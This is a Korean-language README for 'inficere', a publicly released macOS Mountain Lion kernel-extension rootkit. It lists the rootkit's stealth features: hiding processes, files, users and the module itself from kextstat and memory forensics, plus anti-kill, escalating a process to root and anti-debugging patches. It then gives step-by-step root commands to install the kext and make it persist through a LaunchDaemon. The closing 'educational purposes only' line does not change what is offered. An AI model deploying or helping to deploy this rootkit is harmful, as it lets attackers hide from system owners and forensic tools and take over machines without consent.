inficere

fractalG의 onyx-the-black-cat(https://github.com/gdbinit/onyx-the-black-cat)을 기반으로 제작된 내 Mac OS X 루트킷의 공개 버전입니다.

Mountain Lion 10.8.2~10.8.5에서만 테스트되었습니다. 다른 버전에서는 작동이 보장되지 않습니다.

기능

• 프로세스 은닉 - 'ps PID', 'ps aux', Activity Monitor, top 등에서 숨깁니다
• 파일/디렉터리 은닉
• 사용자 은닉 - 지정된 사용자를 'who', 'w'에서 숨깁니다
• 자체 은닉 - kextstat 및 volatility에서 모듈 자체를 숨깁니다
• 안티킬
• PID를 UID 0으로 변환
• 안티디버그 트릭(대부분 @osxreverser 작성) - anti-anti-ptrace, task_for_pid(0) 패치 등

사용 방법

1. # chmod -R 755 inficere.kext
2. # chown -R root:wheel inficere.kext
3. # mv inficere.kext /System/Library/Extensions/
4. # kextutil /System/Library/Extensions/inficere.kext
5. # ./control

부팅 시 지속성을 위한 설정:

1. # plutil -convert binary1 com.enzo.inficere.plist
2. # mv com.enzo.inficere.plist /Library/LaunchDaemons/com.enzo.inficere.plist
3. # chown root:wheel /Library/LaunchDaemons/com.enzo.inficere.plist
4. # launchctl load -w /Library/LaunchDaemons/com.enzo.inficere.plist

로드된 후 Inficere는 위 파일들을 숨깁니다.

이 도구는 교육 목적으로만 제작되었음을 강조하고 싶습니다.